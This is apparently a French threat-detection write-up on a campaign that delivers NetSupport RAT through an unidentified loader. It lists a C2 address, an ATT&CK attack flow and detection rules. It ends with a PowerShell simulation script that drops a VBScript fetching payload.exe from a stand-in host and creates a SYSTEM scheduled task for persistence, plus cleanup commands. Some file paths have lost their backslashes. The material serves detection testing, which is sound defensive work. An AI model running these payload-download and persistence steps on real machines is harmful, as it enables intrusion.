RAT NetSupport Distribué par un Chargeur Non Identifié
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un outil d’accès à distance précédemment non identifié a été observé en train de livrer un paquet malveillant NetSupport Manager RAT. Le logiciel malveillant initial a communiqué avec un serveur de commande et de contrôle à 89.110.110.119 via le port TCP 443 en utilisant du trafic encodé. La campagne, suivie sous le nom de SmartApeSG ClickFix, s’appuyait sur des scripts malveillants et une archive CAB pour installer le NetSupport RAT sur les systèmes des victimes.
Enquête
L’enquête a révélé plusieurs indicateurs, y compris des URL malveillantes, des adresses IP, et des fichiers écrits dans le répertoire ProgramData . Le RAT initial a livré un script batch qui a extrait et installé le NetSupport RAT à partir de l’archive setup.cab . Une fois l’installation terminée, les fichiers de soutien ont été supprimés pour réduire les traces visibles de l’activité.
Atténuation
Les organisations devraient bloquer le trafic réseau vers les adresses IP et domaines malveillants identifiés et surveiller la création des fichiers référencés sous ProgramData. Les défenses des endpoints doivent détecter l’exécution de fichiers VBScript et batch suspects, tandis que la surveillance du réseau devrait appliquer des contrôles plus stricts au trafic encodé sur le port 443.
Réponse
Les défenseurs devraient alerter sur les indicateurs listés, isoler les systèmes affectés et mener une analyse judiciaire pour découvrir tout mécanisme de persistance. Les fichiers malveillants doivent être supprimés, tout changement non autorisé doit être inversé, et les politiques de pare-feu doivent être mises à jour pour bloquer la communication sortante avec l’infrastructure de commande et de contrôle identifiée.
graph TB %% Définition de classe classDef action fill:#c2f0c2 node_a[« <b>Action</b> – <b>T1204.001 Exécution utilisateur : lien malveillant</b><br/><b>Description</b> : La victime charge du JavaScript malveillant depuis une page compromise. »] class node_a action node_b[« <b>Action</b> – <b>T1027.006 Fichiers obfusqués : HTML Smuggling</b><br/><b>Description</b> : Livraison de contenu encodé via la technique HTML smuggling. »] class node_b action node_c[« <b>Action</b> – <b>T1059.005 Interpréteur de commandes et scripts : Visual Basic</b><br/><b>Description</b> : processor.vbs dépose token.bat sur le système. »] class node_c action node_d[« <b>Action</b> – Exécution de script Batch<br/><b>Résultat</b> : Extraction du RAT NetSupport sur l’hôte. »] class node_d action node_e[« <b>Action</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Description</b> : Le RAT est placé dans C:\\ProgramData\\UpdateInstaller pour assurer la persistance. »] class node_e action node_f[« <b>Action</b> – <b>T1574.007 Interception de chemin</b> & <b>T1574.005 Faibles permissions d’installation</b><br/><b>Description</b> : Élévation de privilèges via PATH manipulé et permissions faibles. »] class node_f action node_g[« <b>Action</b> – <b>T1564 Dissimulation d’artefacts</b> & <b>T1564.010 Usurpation d’arguments de processus</b><br/><b>Description</b> : Suppression des fichiers de staging et falsification des arguments de processus. »] class node_g action node_h[« <b>Action</b> – <b>T1571 Port non standard</b> & <b>T1071.001 Protocoles Web</b><br/><b>Description</b> : Communication C2 via TCP 443 en utilisant des protocoles web chiffrés. »] class node_h action %% Connexions node_a –> node_b –> node_c –> node_d –> node_e –> node_f –> node_g –> node_h
Flux d’attaque
Détections
LOLBAS WScript / CScript (via création de processus)
Voir
Exécution possible de la binaire NetSupport Manager depuis un répertoire suspect (via création de processus)
Voir
Commande et contrôle suspect par requête DNS avec un domaine de premier niveau inhabituel (via DNS)
Voir
IOCs (HashSha256) pour détecter : RAT non identifié pousse NetSupport RAT
Voir
IOCs (SourceIP) pour détecter : RAT non identifié pousse NetSupport RAT
Voir
IOCs (DestinationIP) pour détecter : RAT non identifié pousse NetSupport RAT
Voir
Détection d’une infection NetSupport RAT via script et fichiers CAB [Événement de fichier Windows]
Voir
Détection de la communication initiale et NetSupport RAT C2 [Connexion réseau Windows]
Voir
Exécution de la simulation
Prérequis : Le contrôle de pré-vol de la télémétrie et de la ligne de base doit avoir passé.
Raison : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif d’attaque & Commandes :
Un attaquant qui a pris pied initialement sur un hôte Windows dépose trois artéfacts malveillants dansC:ProgramData:processor.vbs– un script Visual Basic qui télécharge le binaire principal du RAT.token.bat– un fichier batch qui crée une tâche planifiée pour la persistance.setup.cab– une archive CAB qui contient une DLL déposée dansC:ProgramDataet chargée plus tard viarundll32.exe.
L’attaquant exécute ensuite chaque fichier à son tour, provoquant des événements de création de processus contenant les chemins de fichier exacts requis par la règle Sigma.
-
Script de test de régression :
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # OBJECTIF : Reproduire la télémétrie d'infection NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Assurez-vous que le répertoire existe if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Déposer processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Déposer token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Déposer setup.cab (CAB factice contenant un fichier texte) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placeholder" # Créer un CAB - nécessite makecab (outil intégré à Windows) & makecab.exe "$tempDirdummy.txt" $cabPath # Phase d'exécution – déclencher les détections Write-Host "`n[+] Exécution de processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Exécution de token.bat" cmd.exe /c $batPath Write-Host "[+] Exécution de setup.cab via rundll32 (chargement simulé)" rundll32.exe "$cabPath",DummyEntryPoint # Nettoyer le dossier temporaire utilisé pour la création du CAB Remove-Item -Recurse -Force $tempDir -
Commandes de nettoyage :
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Supprimer la tâche planifiée créée par token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Nettoyage terminé."